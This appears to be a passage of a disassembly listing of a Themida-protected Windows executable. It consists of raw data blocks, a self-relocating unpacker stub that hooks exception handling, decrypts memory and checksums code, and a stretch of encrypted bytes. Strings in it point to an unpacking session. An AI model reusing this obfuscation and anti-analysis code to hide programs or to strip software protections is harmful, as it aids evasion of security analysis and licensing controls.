		dd 6076DB00h, 74h, 0A1A00F00h, 13h dup(0)
		dd 54C37500h, 0D777FD00h, 2Ch, 2 dup(0)
		dd 8A07AB00h, 2, 0E667DE00h, 5B7A61B8h,	0
		dd 0DD23D700h, 77h, 0Dh	dup(0)
		dd 55300h, 0A1314500h, 0Eh dup(0)
		dd 686E00h, 4A6CB800h, 2, 12h dup(0)
		dd 93928800h, 0A1939341h, 0
		dd 0C530DF00h, 0FDF7FEA9h, 4Eh,	0
		dd 6FA00h, 2 dup(0)
		dd 0FC000h, 0E8AE00h, 2	dup(0)
		dd 35B00h, 7B8EDE00h, 3Eh, 3 dup(0)
		dd 0BAC21B00h, 3Eh, 1Ah	dup(0)
		dd 5B8D8D00h, 0
		dd 57B44200h, 2	dup(0)
		dd 919B4D00h, 58771A2Ch, 5 dup(0)
		dd 58F50A00h, 4	dup(0)
		dd 7FD6BF00h, 0A07F08h,	143400h, 56A00000h, 59EB4300h
		dd 2 dup(0)
		dd 548F5D00h, 0
		dd 0F63D00h, 59056C00h,	0
		dd 100h, 2 dup(0)
		dd 0A7408B00h, 0FFh, 0
		dd 58750400h, 0
		dd 8D52AE00h, 0D1h, 4 dup(0)
		dd 54973D00h, 5	dup(0)
		dd 0FF070E00h, 7Fh, 0E77C4900h,	77h, 2 dup(0)
		dd 2B392000h, 12h, 3 dup(0)
		dd 0F5180B00h, 0FE030477h, 7Fh,	2 dup(0)
		dd 57B41A00h, 4	dup(0)
		dd 0E001400h, 0
		dd 0A39BAC00h, 0CF462800h, 6, 4	dup(0)
		dd 7D100h, 2 dup(0)
		dd 0A8DC8A00h, 0FFh, 0A18C0A00h, 5 dup(0)
		dd 0FF1F2C00h, 0FFh, 2B00h, 597F5D00h, 32h, 0A92EA400h
		dd 0FFh, 0
		dd 0A96BC00h, 8Eh, 0C07E00h, 3 dup(0)
		dd 5BEFC000h, 5	dup(0)
		dd 572DF400h, 71D93900h, 11h, 2Ch dup(0)
		dd 59633900h, 5	dup(0)
		dd 0E0971400h, 3Fh, 3 dup(0)
		dd 5E800h, 61EC00h, 5 dup(0)
		dd 660B00h, 4 dup(0)
		dd 0FE030400h, 7Fh, 100h, 4 dup(0)
		dd 5A000000h, 40000002h, 2 dup(0)
		dd 0F7EBB300h, 77h, 2 dup(0)
		dd 5878C400h, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0AABDDF00h, 919B4D37h, 836A902Ch, 0E4D0AB10h, 4Fh, 5	dup(0)
		dd 5BE27300h, 1516AB00h, 40000016h, 0
		dd 0FE030400h, 0B87Fh, 0C00B0000h, 18C20374h, 24448B00h
		dd 0E8530Ch, 5B000000h,	17C381h, 5C890000h, 44891024h
		dd 0B85B1424h, 0A1A037h, 448BE0FFh, 0E0FF0424h,	14h dup(0)
		dd 0A3731600h, 0
		dd 58303400h, 6	dup(0)
		dd 58002300h, 3	dup(0)
		dd 0EC00h, 0E75CB500h, 77h, 3 dup(0)
		dd 22222200h, 22222222h, 22h, 12h dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0FFFF3C00h, 0FFh, 0
		dd 31FFB000h, 21212102h, 21h, 0
		dd 0FFA15C00h, 2FFh, 2 dup(0)
		dd 5B9AEF00h, 0A8172B00h, 0FFh,	4 dup(0)
		dd 12FFA400h, 0
		dd 919B4D00h, 2Ch, 0FE030400h, 7Fh, 2 dup(0)
		dd 0A1915B00h, 0
		dd 46DA4400h, 0C2h, 7 dup(0)
		dd 0FE159700h, 7Fh, 0
		dd 1FCFC00h, 80h, 2 dup(0)
		dd 919B4D00h, 2Ch, 2 dup(0)
		dd 0FE030400h, 7Fh, 0A2AB4900h,	5Fh, 0
		dd 100h, 3 dup(0)
		dd 0A2AB9200h, 5Fh, 2 dup(0)
		dd 5B93B700h, 0
		dd 4A037200h, 0CFh, 2 dup(0)
		dd 0A0000000h, 1FCFC00h, 80h, 2	dup(0)
		dd 9B4D00h, 4 dup(0)
		dd 0A0D55400h, 5BFFFD00h, 2 dup(0)
		dd 0A00FE600h, 0
		dd 12FD0800h, 3	dup(0)
		dd 81C63500h, 0ADh, 0
		dd 0AA8C8000h, 32h, 4 dup(0)
		dd 0B1FBDD00h, 2Ch, 8 dup(0)
		dd 4D586800h, 56h, 0F52E0F00h, 77h, 6 dup(0)
		dd 0E75CB500h, 77h, 2 dup(0)
		dd 0C400h, 2 dup(0)
		dd 0AFB1CA00h, 2 dup(0)
		dd 55597400h, 86h, 2 dup(0)
		dd 57B1A700h, 9	dup(0)
		dd 0FFFFFF00h, 0FFh, 8 dup(0)
		dd 0A7F6AD00h, 5C3A43FFh, 444E4957h, 5C53574Fh,	74737953h
		dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ah	dup(0)
		dd 12FFA400h, 2	dup(0)
		dd 24242400h, 24h, 3 dup(0)
		dd 0E82FE800h, 77h, 91FFB000h, 1, 0
		dd 59B76E00h, 8	dup(0)
		dd 100h, 3 dup(0)
		dd 5424BC00h, 0C2h, 2 dup(0)
		dd 400h, 0Dh dup(0)
		dd 0DD59F000h, 3C566377h, 42000047h, 2,	6 dup(0)
		dd 12FFF000h, 0F000000h, 6011FA00h, 7Ch, 3 dup(0)
		dd 380C00h, 3 dup(0)
		dd 0DD5ECC00h, 77h, 0Bh	dup(0)
		dd 0C549B700h, 58DC011Bh, 2 dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 0E78B8200h, 0A222D877h, 7 dup(0)
		dd 9EC22000h, 16h, 3A49D500h, 18h, 59C99000h, 4	dup(0)
		dd 0E0971400h, 3Fh, 572DF400h, 87384100h, 0FBh,	0
		dd 5CA00000h, 2	dup(0)
		dd 5A795200h, 8000h, 4 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 2BE900h, 2 dup(0)
		dd 94F34000h, 0FFh, 0FE030400h,	7Fh, 9 dup(0)
		dd 5B5AE900h, 4	dup(0)
		dd 0A223E800h, 0
		dd 40000000h, 0
		dd 519AE000h, 0FFFC3C06h, 0FFh,	5 dup(0)
		dd 68AF7A00h, 0D3h, 3 dup(0)
		dd 0A1A00F00h, 8 dup(0)
		dd 66A04900h, 80h, 4 dup(0)
		dd 0CC55E300h, 7, 3 dup(0)
		dd 3A49D400h, 18h, 17773100h, 0F7h, 0
		dd 0FE030400h, 7Fh, 10h	dup(0)
		dd 5A375100h, 4	dup(0)
		dd 0A2326800h, 8 dup(0)
		dd 0FFB000h, 0E8000h, 3	dup(0)
		dd 0A2156800h, 3 dup(0)
		dd 0A1FA5600h, 2 dup(0)
		dd 7C00h, 0D3A54F00h, 0DBDDF770h, 7Ch, 9800h, 6	dup(0)
		dd 0CE800h, 0
		dd 3BC00h, 0E7339C00h, 77h, 0AC00h, 0
		dd 0E8279400h, 77h, 0FE030400h,	2B153D7Fh, 0E9h, 85281E00h
		dd 0B2h, 3 dup(0)
		dd 0FF9AD300h, 0FFh, 2 dup(0)
		dd 11008200h, 5CA00008h, 2 dup(0)
		dd 5A02BC00h, 54A56100h, 0D58D8D00h, 16h, 5B9DBB00h, 4 dup(0)
		dd 10000h, 8 dup(0)
		dd 0E805D800h, 177h, 5 dup(0)
		dd 9000h, 0Bh dup(0)
		dd 5CB49F00h, 6	dup(0)
		dd 5B000000h, 10002h, 0Dh dup(0)
		dd 1FCFC00h, 80h, 3 dup(0)
		dd 0E776CD00h, 4A000077h, 2, 2 dup(0)
		dd 0A800h, 0
		dd 580B2C00h, 4	dup(0)
		dd 0CB180000h, 90h, 5 dup(0)
		dd 0FE030400h, 54A6ED7Fh, 5 dup(0)
		dd 0E6000000h, 77h, 3 dup(0)
		dd 58002300h, 8	dup(0)
		dd 54A6ED00h, 0
		dd 5A2E5500h, 3	dup(0)
		dd 0C530DF00h, 0A9h, 0
		dd 5A199B00h, 0
		dd 21282900h, 63h, 2 dup(0)
		dd 5B9DBB00h, 3	dup(0)
		dd 1D600000h, 0
		dd 0FB745200h, 18h, 14h	dup(0)
		dd 0D58D8D00h, 16h, 2Ch	dup(0)
		dd 0E9960800h, 6Ch, 3 dup(0)
		dd 0D782100h, 1, 0Ah dup(0)
		dd 1CF55F00h, 0D6h, 2 dup(0)
		dd 0A7330200h, 54A6EDFFh, 10h dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 37BC3300h, 7Dh, 3 dup(0)
		dd 0E7C48600h, 77h, 5 dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 80h dup(0)
		dd 580B2C00h, 5	dup(0)
		dd 9400h, 8 dup(0)
		dd 40100000h, 330000h, 0
		dd 27EF1D00h, 2Fh, 3 dup(0)
		dd 0A7516200h, 71h, 2 dup(0)
		dd 5B87D700h, 5	dup(0)
		dd 55300h, 5 dup(0)
		dd 584A8600h, 3	dup(0)
		dd 54B31100h, 73655200h, 74726174h, 2E707041h, 657865h
		dd 100h, 57E49300h, 3 dup(0)
		dd 42000C00h, 2, 2 dup(0)
		dd 100h, 2 dup(0)
		dd 200h, 9 dup(0)
		dd 11111100h, 11h, 0A8021900h, 0FFh, 6 dup(0)
		dd 0B5EFF200h, 20h, 57B1C100h, 0Eh dup(0)
		dd 5CC70000h, 5DEC00h, 7C2D4F00h, 12FF38BDh, 2 dup(0)
		dd 65685400h, 6164696Dh, 23h dup(0)
		dd 58F55300h, 0B7C6AB00h, 84h, 8 dup(0)
		dd 1C53C00h, 3 dup(0)
		dd 8C00h, 3 dup(0)
		dd 0ED2F200h, 7801h, 2 dup(0)
		dd 5499F500h, 0FFA27000h, 0FFh,	3 dup(0)
		dd 0A169DD00h, 0
		dd 169A00h, 67644200h, 8Ch, 0
		dd 686E00h, 4 dup(0)
		dd 59A48400h, 0E83E6800h, 77h, 13F7A500h, 2 dup(0)
		dd 0FB400h, 0
		dd 3D9400h, 0DD000000h,	80834077h, 0Ah,	0Eh dup(0)
		dd 5499F500h, 0A000h, 59612E00h, 2 dup(0)
		dd 0A5999500h, 8 dup(0)
		dd 0ED8B0900h, 25Ah, 0
		dd 5D9400h, 4 dup(0)
		dd 5A788000h, 0D6BF00h,	3 dup(0)
		dd 12FEF400h, 2	dup(0)
		dd 0B41B4000h, 76h, 0A6758000h,	1Bh, 3 dup(0)
		dd 0EB800h, 5 dup(0)
		dd 0C1B32900h, 10h, 2 dup(0)
		dd 5CB1E700h, 1DE58600h, 0Eh, 5	dup(0)
		dd 8D8D8D00h, 40h, 9 dup(0)
		dd 5CC85400h, 0E8061800h, 12FF5477h, 3 dup(0)
		dd 3CC0000h, 0
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 580B2C00h, 0D4C96A00h, 77h, 0
		dd 0EE3C3C00h, 6, 0A1E05F00h, 5	dup(0)
		dd 0A788E600h, 0A19499FFh, 3 dup(0)
		dd 87384100h, 0FBh, 0Ah	dup(0)
		dd 200h, 5A36C600h, 2 dup(0)
		dd 5BCE4700h, 4	dup(0)
		dd 0E9DDA900h, 2Ch, 56A00000h, 5 dup(0)
		dd 124AF000h, 3	dup(0)
		dd 0E78B8200h, 77h, 2 dup(0)
		dd 0E17B00h, 3 dup(0)
		dd 9057B500h, 12FF54FEh, 100h, 6 dup(0)
		dd 100h, 0
		dd 10492400h, 4, 11h dup(0)
		dd 0B52DFD00h, 1Fh, 2 dup(0)
		dd 1900h, 8 dup(0)
		dd 7BE12900h, 17h, 0BB58CD00h, 5904337Eh, 0C549B100h, 97h
		dd 57900h, 0
		dd 0FFD4BD00h, 0FFh, 2 dup(0)
		dd 36363600h, 59B67E36h, 80h, 4	dup(0)
		dd 9C00h, 5825EA00h, 0
		dd 0B8214600h, 0FEh, 0AA5E6000h, 32h, 0Ch dup(0)
		dd 0AF000000h, 7 dup(0)
		dd 21FFB000h, 0A1949902h, 4 dup(0)
		dd 0FFA50000h, 0FFh, 2 dup(0)
		dd 0D4000000h, 77h, 8 dup(0)
		dd 686E00h, 0
		dd 4A6B9C00h, 97C98702h, 88h, 100h, 4 dup(0)
		dd 0A169DD00h, 0
		dd 3E800h, 4 dup(0)
		dd 0A3B13400h, 200h, 0
		dd 600h, 0
		dd 0E0971400h, 3Fh, 5 dup(0)
		dd 580B2C00h, 3	dup(0)
		dd 4A6B9C00h, 2, 6 dup(0)
		dd 8A000000h, 2, 58002300h, 0
		dd 59D13500h, 3	dup(0)
		dd 12FFC400h, 4	dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B525:				; CODE XREF: start:loc_547FACj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6AC3583h
		mov	[ebp+6AC3565h],	edx
		mov	[ebp+6AC1C51h],	esi
		mov	[ebp+6AC2441h],	eax
		cmp	dword ptr [ebp+6AC0B99h], 0
		jz	short loc_54B55D
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54B55D:				; CODE XREF: start+6B53Bj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6AC21B1h],	eax
		push	45h
		call	sub_54B611
		push	783749Ah
		call	sub_54B657
		push	0A894B25h
		call	sub_54B657
		jmp	loc_54B79B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54B611	proc near		; CODE XREF: start+6B555p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6AC3671h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54B62D:				; CODE XREF: sub_54B611+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54B64C
		mov	eax, [ebp+arg_0]
		mov	[ebx+6AC35DBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54B62D
; ---------------------------------------------------------------------------


loc_54B64C:				; CODE XREF: sub_54B611+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54B611	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54B657	proc near		; CODE XREF: start+6B55Fp start+6B569p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6AC36BAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54B67D:				; CODE XREF: sub_54B657+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54B67D
		mov	[ebp+var_84], 0
		lea	edi, [edx+6AC35DBh]
		lea	esi, [ebp+var_80]


loc_54B6AD:				; CODE XREF: sub_54B657+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54B6B9:				; CODE XREF: sub_54B657+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54B6B9
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54B6AD
		popa
		leave
		retn	4
sub_54B657	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54B6F7
; ---------------------------------------------------------------------------


loc_54B6F3:				; CODE XREF: Themida_:0054B6FAj
		inc	dword ptr [ebp-4]
		inc	esi


loc_54B6F7:				; CODE XREF: Themida_:0054B6F1j
		cmp	byte ptr [esi],	0
		jnz	short loc_54B6F3
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54B788
; ---------------------------------------------------------------------------


loc_54B709:				; CODE XREF: Themida_:0054B78Bj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54B77F
; ---------------------------------------------------------------------------


loc_54B712:				; CODE XREF: Themida_:0054B783j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54B76C
; ---------------------------------------------------------------------------


loc_54B722:				; CODE XREF: Themida_:0054B770j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54B744
		cmp	bl, 39h
		ja	short loc_54B744
		sub	bl, 30h
		jmp	short loc_54B766
; ---------------------------------------------------------------------------


loc_54B744:				; CODE XREF: Themida_:0054B738j
					; Themida_:0054B73Dj
		cmp	bl, 61h
		jb	short loc_54B756
		cmp	bl, 66h
		ja	short loc_54B756
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54B766
; ---------------------------------------------------------------------------


loc_54B756:				; CODE XREF: Themida_:0054B747j
					; Themida_:0054B74Cj
		cmp	bl, 41h
		jb	short loc_54B766
		cmp	bl, 46h
		ja	short loc_54B766
		sub	bl, 41h
		add	bl, 0Ah


loc_54B766:				; CODE XREF: Themida_:0054B742j
					; Themida_:0054B754j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54B76C:				; CODE XREF: Themida_:0054B720j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54B722
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54B77C
		mov	eax, [ebp-10h]
		stosb


loc_54B77C:				; CODE XREF: Themida_:0054B776j
		inc	dword ptr [ebp-8]


loc_54B77F:				; CODE XREF: Themida_:0054B710j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54B712
		add	edx, 4


loc_54B788:				; CODE XREF: Themida_:0054B707j
		cmp	edx, [ebp-4]
		jb	loc_54B709
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B79B:				; CODE XREF: start+6B56Ej
		mov	ecx, 7000h
		lea	edi, [ebp+6AC3800h]


loc_54B7A6:				; CODE XREF: start+6B796j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54B7A6
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6AC38E6h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	eax
		call	sub_54B7E2
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54B7E2	proc near		; CODE XREF: start+6B7C6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_54B7E2	endp

; ---------------------------------------------------------------------------
a?XflM		db '?т∙f▀чЁ▄+б%',0
		dw 0FFF0h
		dd 8FBB66FFh, 33CA8BAFh, 388166FFh, 0E755A4Dh, 3C50B70Fh
		dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5
		dd 4C48300h, 38F9958Dh,	645206ACh, 35FFh, 89640000h, 25h
		dd 2DC10300h, 1000h, 8104708Bh,	0FF0000E6h, 0FE81FFh, 76800000h
		dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h,	0EE810974h
		dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h
		dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h
		dd 100000h, 0C0335900h,	4C8B51C3h, 0E8551024h, 0
		dd 4ED815Dh, 8D06AC39h,	0AC38C285h, 0B8818906h,	5D000000h
		dd 0C3C03359h, 58F6496h, 0
		dd 0F04C483h, 1387h, 8E86000h, 64000000h, 3D22D845h, 5E3FF813h
		dd 61D18B66h, 5890Fh, 81660000h, 6615A8D3h, 0BF0FD98Ch
		dd 4E180DAh, 0C90AD98Bh, 52850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0CC381DC3h
		dd 0E4BF913h, 809E4336h, 85C764E3h, 6AC0161h, 1, 13E9h
		dd 0DD861100h, 0A7600E2Dh, 87AF3642h, 1DCA3B67h, 7BB53DFh
		dd 2CE9h, 0B2EB8000h, 16185C7h,	6ACh, 860F0000h, 19h, 11E8h
		dd 87092200h, 497FD651h, 5B5DFFF3h, 51A93604h, 0F98A2BA0h
		dd 8185895Bh, 0F06AC12h, 484h, 0EBB6600h, 0D98B66B0h, 210D8589h
		dd 0FE806ACh, 0F4000000h, 0AD7E6DAAh, 0ECDE80A3h, 1477A06Dh
		dd 0F28BD478h, 684CBB59h, 0C1815B67h, 65C0h, 2880Fh, 0CCB70000h
		dd 68h,	12E800h, 50F20000h, 0BE409405h,	0D69A561h, 2DF07C56h
		dd 306B5F43h, 42DA8166h, 66585EA4h, 3C8BDE8Bh, 0C1C78101h
		dd 0F5C80B8h, 386h, 0DF8B6600h,	70ACC781h, 12E86458h, 25000000h
		dd 36B94FABh, 2A40C054h, 108923D2h, 63B0236Bh, 815EF93Ch
		dd 902A97C7h, 0D2B70F11h, 1048F57h, 0DE8h, 6FE68600h, 6EF0E75Fh
		dd 2EA93D70h, 0B70F5D37h, 0BF0F5BD8h, 2E883D3h,	10E8h
		dd 0B3909800h, 0E88FE5BFh, 137C6732h, 6BA6B369h, 58C0F69h
		dd 0BE000000h, 7F5646EFh, 6648485Eh, 8104E4BBh,	0FF9B38F8h
		dd 13850FFFh, 0E9000000h, 1Fh, 748BC744h, 0B43798Ah, 0E66E0E13h
		dd 0CB814DC7h, 0FF5A38Eh, 0FFFF55E9h, 0B0EA28FFh, 0EB82A580h
		dd 21504h, 720E900h, 60F50000h,	68C0Fh,	95290000h, 6AC1ADDh
		dd 9529C02Bh, 6AC01E1h,	0A99D2960h, 8B06AC13h, 0AC0B0185h
		dd 548B6106h, 12E92824h, 0E1000000h, 12DCABF4h,	4BCE605Fh
		dd 0C8600925h, 8A2A2811h, 0D98589DFh, 0F06AC1Ah, 683h
		dd 398D8900h, 0BE06AC11h, 3Ch, 0EE9h, 0E0320300h, 8436E96Ah
		dd 3512C25Dh, 3F01BC0h,	0F5242474h, 0B589AD66h,	6AC0FB9h
		dd 24244403h, 0FE860h, 0EA390000h, 5EC05297h, 709ACB9Eh
		dd 0E70C8FC9h, 0CE8D7h,	8DD40000h, 74D38B44h, 0A19B51F2h
		dd 5F58F241h, 79CCB966h, 8B605061h, 50BF66C8h, 48961CCh
		dd 0BD036024h, 6AC2FDDh, 0DE8h,	798EC600h, 0D1450F0Fh
		dd 0D3C93C36h, 85039032h, 6AC1929h, 408B6159h, 7E978h
		dd 0F34C0000h, 75735510h, 24440380h, 81952928h,	8B06AC31h
		dd 95291840h, 6AC0DB1h,	13699D89h, 294006ACh, 0AC25C985h
		dd 0B5958906h, 8906AC0Ah, 0AC3AF585h, 0F958F506h, 2978708Bh
		dd 0AC05259Dh, 0BF666006h, 10E9D87Ch, 40000000h, 0A2AA8BFh
		dd 55F37F80h, 47740614h, 61C4740Dh, 0E91CC683h,	8, 0D734FF54h
		dd 0AB2C715h, 20719589h, 740306ACh, 8A0F2424h, 13h, 7E960h
		dd 82FF0000h, 0CED6CE05h, 2E74BF21h, 60612D31h,	458D8960h
		dd 8906AC15h, 0AC23D18Dh, 8D616106h, 0AC26F1BDh, 0A8C0F06h
		dd 0E9000000h, 5, 8DA72BCh, 0BF0F60A1h,	60AD61D7h, 295BCC80h
		dd 0AC0E3985h, 8B606106h, 0AC3341BDh, 8E906h, 0BE990000h
		dd 0E0C22B18h, 3619EDAh, 31242444h, 0AC23D195h,	0BE9AB06h
		dd 0E4000000h, 0A2F3F6F8h, 7FE2ECA5h, 0BD8D4FE5h, 6AC25B5h
		dd 0B960ADF9h, 25272A1Fh, 0DE8h, 0F3601A00h, 2D9CF564h
		dd 6070FB77h, 5FFCCCE9h, 24440361h, 0A18D8924h,	9006AC0Fh
		dd 0DE9h, 76A3FB00h, 0AD938AB6h, 0EE38CF26h, 0F505B9Eh
		dd 0D86h, 8E900h, 90750000h, 9AF53216h,	6090B4FAh, 6870Fh
		dd 95010000h, 6AC2015h,	149DB589h, 0AB6106ACh, 8658531h
		dd 8B6006ACh, 0DA8166CBh, 8D612957h, 0AC26B9BDh, 1B50106h
		dd 106AC0Fh, 0AC0C9D9Dh, 5E9AD06h, 98000000h, 0D16D4F9Fh
		dd 28244403h, 317D9D89h, 0E9AB06ACh, 0Bh, 25C8C40Ah, 0E08C30A8h
		dd 5EAC2504h, 145DB589h, 8DFF06ACh, 6AC3AF5h, 3AF5BD83h
		dd 750006ACh, 2444C710h, 1Ch, 20B58D00h, 0FF06AC40h, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 6AC3339h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 1AD985FFh, 6FE906ACh, 5EFFFFFFh, 0AE9h, 5C961400h, 82A628FDh
		dd 60C1BD66h, 28318589h, 0F86106ACh, 78E0Fh, 8A0F0000h
		dd 1, 0D9858BF5h, 0F806AC1Ah, 0B460E0D1h, 61C18B6Dh, 9BD8960h
		dd 6106AC07h, 26B98503h, 9D8906ACh, 6AC10A1h, 0BEh, 799D8900h
		dd 9606AC30h, 18B0Fh, 0E9F80000h, 11h, 0BD018DEBh, 22794B82h
		dd 2AAEA514h, 72A08210h, 31AD6636h, 0AC1ABD85h,	2E0C106h
		dd 12E9h, 94513500h, 5B9496BCh,	400F64BDh, 43EEF723h, 3828196h
		dd 0AC26F185h, 55858906h, 9606AC27h, 12E9h, 0F36FCA00h
		dd 9FC46FC5h, 0E08E8FDBh, 752FEBF6h, 0ADDAEF24h, 11E9h
		dd 0A64A2000h, 18521FDCh, 5D5FE58Fh, 403FC6FBh,	4C8B7673h
		dd 10E92424h, 0AE000000h, 3678D6E0h, 1E267A05h,	0B2130FCDh
		dd 31C211Eh, 60242444h,	303D9523h, 9D8B06ACh, 6AC3115h
		dd 24448961h, 0CE91Ch, 4F910000h, 27839D4Fh, 620C9C1Eh
		dd 0F968A10h, 68Ch, 0BD958900h,	0F906AC14h, 2D9531ACh
		dd 3206AC0Ah, 0FE9C9h, 3FF70000h, 339F5CBh, 0C1F36F2h
		dd 0BE2A9497h, 58D89ABh, 0FE06AC29h, 5E9C1h, 0D6C60000h
		dd 0D0F92816h, 0B5830FD0h, 31000000h, 0AC0BED9Dh, 0FD0D006h
		dd 0A783h, 19870F00h, 0E9000000h, 14h, 19D2F850h, 4FBFFD9Dh
		dd 618AEC0Dh, 9EC500B9h, 0CD8426E0h, 820FD0D0h,	80h, 303D8529h
		dd 0D0D006ACh, 72820Fh,	60600000h, 5298D89h, 890F06ACh
		dd 0
		dd 5850F61h, 66000000h,	32B9DF81h, 0FC9FE61h, 0FFFF9289h
		dd 6860FFFh, 89000000h,	0AC2149BDh, 20C48306h, 22458D01h
		dd 44C706ACh, 0FC24h, 5E90000h,	24000000h, 0BA0D85C8h
		dd 1B8h, 0B59D8900h, 8D06AC12h,	0AC70C28Dh, 18C0F06h, 0FC000000h
		dd 8960E1FFh, 0AC316D9Dh, 959D0106h, 6106AC1Bh,	333985C6h
		dd 890006ACh, 0AC09E59Dh, 8961F506h, 0AC1E51BDh, 870F6006h
		dd 6, 810Fh, 0C2610000h, 8C0F0008h, 11h, 0B830Fh, 6E90000h
		dd 39000000h, 4C112427h, 860F5068h, 9, 69FFBA60h, 0C78B62A3h
		dd 24348961h, 0D0B70F60h, 1870Fh, 61F90000h, 41E1B589h
		dd 896006ACh, 0AC30559Dh, 0AE906h, 2BDF0000h, 44DEE88Bh
		dd 0BA7F7122h, 0FB8D8961h, 6006AC41h, 0FFABCF81h, 61FC4D52h
		dd 0C8A0Fh, 860F0000h, 6, 225B589h, 0B58D06ACh,	6AC4104h
		dd 38F0F60h, 80000000h,	860FECE5h, 2, 8D615951h, 5B8EA185h
		dd 858B6000h, 6AC1F51h,	0FF61CA8Ah, 399D89D0h, 5E06AC31h
		dd 6800Fh, 85890000h, 6AC137Dh,	33F0B760h, 0AC31C1B5h
		dd 0FCC36106h, 41E1B58Bh, 5E906ACh, 4E000000h, 0F586F9A4h
